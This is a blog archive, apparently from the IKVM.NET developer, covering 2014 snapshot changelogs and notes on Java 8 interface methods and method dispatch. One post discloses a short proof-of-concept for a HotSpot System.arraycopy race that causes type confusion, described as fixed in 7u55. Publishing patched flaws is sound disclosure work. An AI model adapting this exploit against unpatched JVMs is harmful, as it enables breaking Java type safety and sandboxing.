# Wednesday, 04 June 2014
New Development Snapshot

More progress on the OpenJDK 8 integration and a couple of unrelated fixes.

I fixed an incompatibility with Mono (and other ECMA compliant tools that parse custom attributes). When I changed package manifest handling in 7.4 to handle reading the manifest from the right jar I unknowingly chose a custom attribute encoding that works on the CLR, but isn't actually ECMA compliant. Mono has since added support for this encoding.

Another somewhat interesting change is that I added an (internal only) feature to make it easier to replace sun.misc.Unsafe.compareAndSet() with Interlocked.CompareExchange. The trigger was the new reflection data caching in java.lang.Class. Here's an example of what it looks like:

@ikvm.internal.InterlockedCompareAndSet("reflectionData")
static native boolean casReflectionData(Class<?> clazz,
                                        SoftReference<ReflectionData<T>> oldData,
                                        SoftReference<ReflectionData<T>> newData);

The ikvmc compiler will generate a method body that uses Interlocked.CompareExchange<T>() to update the reflectionData field in Class. In other places where I previously used Interlocked methods (e.g. java.util.concurrent.AtomicReferenceArray) I implemented the method body in map.xml using MSIL instructions, but here the generic version of CompareExchange is needed and I didn't want to invent a syntax for instantiating a generic method in map.xml.

Oracle is working on adding atomic operations to Java and I suggested this annotation based approach, but it was rejected because "we don't add language semantics through annotations".

Changes:

  • Implemented method parameter reflection.
  • Compile class library with javac -parameters option to get parameter names for abstract and native methods.
  • Added (undocumented) -noparameterreflection option ikvmc to disable emitting method parameter reflection metadata
  • Enabled MethodParameter attribute in runtime stub generator.
  • Support round tripping malformed MethodParameter attribute in stub generator.
  • Fixed PackageListAttribute to be ECMA compliant.
  • Added support for defining abstract methods in remap file.
  • Implemented sun.nio.ch.Net.poll() native method.
  • Replaced sun.misc.Unsafe cas operations in java.lang.Class with Interlocked.CompareExchange().
  • Replaced AtomicReference[Array].getAndSet() implementations with Interlocked.Exchange() based implementations.
  • Fixed Linux build. Thanks to Joan Karadimov for reporting this.
  • Prevent unfocable windows from being activated by mouse click. (Based on patch by Maria Papendieck of pure-systems.)
  • Fixed clipboard access to use the right thread. (Based on patch by Maria Papendieck of pure-systems.)
  • IKVM.Reflection: Added UniverseOptions.DecodeVersionInfoAttributeBlobs to support decoding CustomAttributeBuilder with blob to extract version info fields.

Binaries available here: ikvmbin-8.0.5268.zip
Sources: ikvmsrc-8.0.5268.zip and openjdk-8-b132-stripped.zip

Wednesday, 04 June 2014 09:30:36 (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]
# Monday, 26 May 2014
New Development Snapshot

More progress on the OpenJDK 8 integration.

Changes:

  • Integrated Nashorn.
  • Added workaround for bug in .NET 2.0 implementation of ModuleBuilder.GetMethodToken() exposed by Nashorn.
  • Bug fix. A .NET type should always have access to its nested types.
  • Fixed javap build.
  • Bug fix. The MethodHandle code requires the volatile field accessors in Unsafe for volatile field access.
  • Bug fix. Handle more than 8 parameters in invokedynamic.
  • Bug fix. DynamicMethod's ILGenerator doesn't like unbaked array types.
  • Bug fix. MethodHandle.invoke[Exact] methods should have VarArgs flag set.
  • Added workaround for javac MethodHandle.invoke[Exact] detection bug.
  • Moved cldrdata and localedata into separate assemblies.
  • Implemented native methods for HostLocaleProviderAdapterImpl. The system property "java.locale.providers" can now be set to "HOST" to use the .NET locale implementation.

Binaries available here: ikvmbin-8.0.5259.zip
Sources: ikvmsrc-8.0.5259.zip and openjdk-8-b132-stripped.zip

Monday, 26 May 2014 10:22:29 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 20 May 2014
First OpenJDK 8 Based Development Snapshot

I finished the first major step for integrating OpenJDK 8. The class libraries are now built from the OpenJDK 8 sources. Not all new functionality is implemented yet (both in the class library and in the VM).

Lambda's work, but they are not yet optimized, so they are very slow. This will be fixed in a future development snapshot.

Another area that still needs a lot of work is the assembly partitioning of the class libraries. Currently IKVM.OpenJDK.Core.dll has grown to 13MB. That's clearly not a good thing. Also, a bunch of work has gone into OpenJDK 8 to better factor it and to support making parts of the class libaries optional, so that should be exposed as well.

Finally, there is no Nashorn support yet.

Changes:

  • Enabled Java 8 class file support by default.
  • Several fixes for Java 8 static, private and default interface methods.
  • Allow classes defined by Unsafe.defineAnonymousClass() access to private methods of their host class.
  • Add ExtensionAttribute to IKVM.OpenJDK.Core assembly, because Roslyn requires that for the extension methods to be visible.
  • Bug fix. Unsafe.park(false, 0) means infinite wait timeout, contrary to LockSupport.parkNanos(0).
  • Bug fix. Miranda method override stubs should be handled by the normal code, because a Miranda method can implement multiple interface methods.
  • Bug fix. Bridge method names should not include prefix in stack trace.
  • Fixed handling of ghost array types in remapped type methods.
  • Fixed class file validation of method and field names to disallow '[' character.
  • Fixed class file validation to disallow zero length bytecode stream.
  • Bug fix. Exceptions in bootstrap method arguments should not be wrapped in BootstrapMethodError.
  • Fixed ikvmc to emit fatal error instead of crashing when a field referenced in remap file isn't found.
  • Added ikvmc option -assemblyattributes: to explicitly specify the assembly attribute container class and deprecated the previous behavior.
  • Bug fix. If ikvmc -warnaserror is used, "warnings" should not be suppressed after an error was emitted.
  • IKVM.Reflection: Fixed several bugs in Type.GetInterfaceMap().
  • IKVM.Reflection: It is legal for a MethodBuilder to not have a signature, in that case it defaults to returning void with no parameters.

Binaries available here: ikvmbin-8.0.5252.zip
Sources: ikvmsrc-8.0.5252.zip and openjdk-8-b132-stripped.zip

Tuesday, 20 May 2014 09:06:50 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, 15 May 2014
Default and Static Interface Methods

Java 8 introduces default and static interface methods.

Here's an example Java 8 interface:

public interface Foo {
  default void m1() {
    System.out.println("Hello from default interface method");
  }
  static void m2() {
    System.out.println("Hello from static interface method");
  }
}

When this interface is compiled by ikvmc,  it produces the approximate equivalent of the following pseudo C# code:

public interface Foo {
  public static class __DefaultMethods {
    public static void m1(Foo obj) {
      if (obj == null) throw new NullReferenceException();
      Foo.<default>m1(obj);
    }
  }
  public static class __Methods {
    public static void m2() {
      Foo.m2();
    }
  }
  public static void <default>m1(Foo obj) {
    System.out.println("Hello from default interface method");
  }
  public abstract void m1();
  public static void m2() {
    System.out.println("Hello from static interface method");
  }
}

There are a number of things going on here, so let's go over them one by one.

__DefaultMethods

This nested type exists to allow C# code to call the default method implemenation. So when your C# class implements the Foo interface, it may implement the m1 method by calling the default method. The reason it is a nested type is to avoid method name clashes and because the current C# compiler doesn't allow access to static interface members.

__Methods

This only exists because the current C# compiler doesn't allow access to static interface members (the new Roslyn C# compiler does). It is similar to the nested __Fields type that already exists to expose interface fields.

<default>m1

This is a static method that contains the body of the default interface method. Its name is mangled to avoid conflict with the "real" abstract method. Internally ikvmc calls this method when a class inherits the default method.

m1

Regular abstract interface method.

m2

Regular static method.

The result of this implementation choice is that it can be quite painful to implement a Java 8 interface in C#, because you manually have to forward each default method.

Given the large number of default methods introduced in Java 8 this is going to make interop quite a bit more inconvenient. A partial workaround for this is to write more interop code in Java or create a Java base class that implements the interface so that it can inherit the default methods and then write the implementation as a C# subclass.

I'm considering changing ikvmc to automatically generate a __BaseClass nested type inside all public interfaces to at least make it easy to write a class that implements a single Java interface.

JVM interfaces can also have private methods. The current C# compiler doesn't like interfaces with non-public members, so the private methods are put into another nested type by ikvmc (and instance methods are compiled as static methods).

Thursday, 15 May 2014 12:06:11 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, 01 May 2014
Java Method Overriding Is FUBAR Part 9 of ∞

Java 8 introduces default methods. In the current HotSpot implementation this makes adding a private method to a non-final class a binary breaking change (contrary to what the JLS says about this).

Here's an example. Suppose you have two separate code bases Lib and App, shipped by different parties. App depends on Lib.

Lib defines a class B:

public class B {
}

App defines an interface I and a class D:

public interface I {
  default void m() {
    System.out.println("I.m");
  }
}

public class D extends B implements I {
  public static void main(String[] args) {
    D d = new D();
    d.m();
  }
}

All is well in the world. Now Lib ships a new version that includes a new version of class B:

public class B {
  private void m() { }
}

Now when you run D the output is:

Exception in thread "main" java.lang.IllegalAccessError: tried to access method B.m()V from class D
        at D.main(D.java:4)

You could argue that this is "just" an implementation bug, but I posted it as part of this series because it is symptomatic of the mess that is Java's method dispatch story.

Thursday, 01 May 2014 09:38:36 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Wednesday, 16 April 2014
Arraycopy HotSpot Vulnerability Fixed in 7u55

Here is a simple PoC exploit for the issue fixed here:

class Union1 { }
class Union2 { }

class arraytoctou {
  static volatile Union1 u1 = new Union1();

  public static void main(String[] args) {
    final Union1[] arr1 = new Union1[1];
    final Union2[] arr2 = new Union2[1];
    new Thread() {
      public void run() {
        for(;;) {
          try {
            System.arraycopy(arr1, 0, arr2, 0, 1);
            if (arr2[0] != null) break;
          } catch (Exception _) { }
        }
      }
    }.start();

    while (arr2[0] == null) {
      arr1[0] = null;
      arr1[0] = u1;
    }

    System.out.println(arr2[0]);
  }
}

Wednesday, 16 April 2014 10:40:19 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Monday, 24 March 2014
IKVM.NET 7.4 Release Candidate 0

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.3):

  • Merged OpenJDK 7u40 b34.
  • Many bug fixes.
  • Optimizations to reduce metadata size.
  • Added support for getting package information from the right jar manifest for ikvmc compiled jars.
  • Improved runtime support for running on platforms without Reflection.Emit.
  • Removed IKVM.Attributes.HideFromReflectionAttribute.
  • IKVM.Reflection: Many improvements and fixes.
  • IKVM.Reflection: WinMD projection support.

Changes since previous development snapshot:

  • IKVM.Reflection: Fix for Type.GetInterfaceMap() issue.

Binaries available here: ikvmbin-7.4.5196.0.zip

Sources: ikvmsrc-7.4.5196.0.zip, openjdk-7u40-b34-stripped.zip

Monday, 24 March 2014 09:19:12 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, 06 March 2014
New Development Snapshot

Hopefully the last snapshot before the 7.4 release candidate.

Changes:

  • Added support for getting package information from the right jar manifest for ikvmc compiled jars.
  • Don't inject private helper methods in public interfaces, because csc.exe doesn't like interfaces with non-public methods.
  • Rewrote java.lang.ref.ReferenceQueue to be more efficient.
  • Bug fix. Non-public annotations can be used used in code that doesn't have access to them.
  • Merged forgotten 7u40 exclusive socket binding change.

Binaries available here: ikvmbin-7.4.5178.zip

Thursday, 06 March 2014 10:43:19 (W. Europe Standard Time, UTC+01:00)  #    Comments [2]
# Thursday, 27 February 2014
New Development Snapshot

A new development snapshot is available. I finished the merge of JSR-292 part of OpenJDK 7u40. The result is a bit depressing (but not unexpected) for the amount of effort that it took. The net result is that most stuff works the same (I did fix a couple of bugs), except slower.

I expect that eventually I'll get around to optimizing things a bit, but for now I've spent enough time on it to want to work on something else.

Changes:

  • Merged remaining OpenJDK 7u40 changes.
  • Guard against bogus LVT entries. Fix for bug #284.
  • Bug fix. MethodHandle.invoke[Exact] does not require a version 51 class file.
  • Bug fix. If a ghost array is used in an invokedynamic signature, we should not use the erased method type.
  • Added Unsafe.defineAnonymousClass().
  • Don't filter DynamicMethods from stack trace if IKVM_DISABLE_STACKTRACE_CLEANING is defined.
  • Bug fix. Unsafe.defineClass() should allow null class loader and '/' as package separator.
  • Added support for CallerID in pseudo-native methods.
  • Added Unsafe.shouldBeInitialized() and Unsafe.defineClass() overload.
  • Bug fix. If CLASSGC is enabled, we should use a WeakReference to cache the MethodType for the MethodHandle.invoke() cache.
  • Bug fix. MethodHandle.invoke() cache should consider vararg-ness of the MethodHandle.
  • Removed HideFromReflectionAttribute.
  • Added flags to HideFromJavaAttribute to support different levels of hiding (including the previous usage of HideFromReflectionAttribute and adding specific ability to hide from security stack walking and from stack traces, for future LamdbaForm support).
  • Bug fix. Constructing .NET value types using MethodHandle didn't work.

Binaries available here: ikvmbin-7.4.5170.zip

Thursday, 27 February 2014 08:16:31 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Friday, 07 February 2014
New Development Snapshot

I merged OpenJDK 7u40, except for the java.lang.invoke package. To build you'll need the new OpenJDK 7u40 based openjdk-7u40-b34-stripped.zip.

Changes:

  • Merged OpenJDK 7u40 b34.
  • Made all bytecode helper methods available during first-pass IKVM.Runtime.dll compilation (to avoid crashing IKVM build, if classes are missing).
  • Fixed ikvmc to not crash if type used in pseudo-native method signature is missing.
  • Refactored ikvmc -exclude: handling to allow -resource: to add .class files as resources.

Binaries available here: ikvmbin-7.4.5151.zip
Sources available here: ikvmsrc-7.4.5151.zip
The stripped OpenJDK 7u40 b34 sources are available here: openjdk-7u40-b34-stripped.zip

Friday, 07 February 2014 15:16:32 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]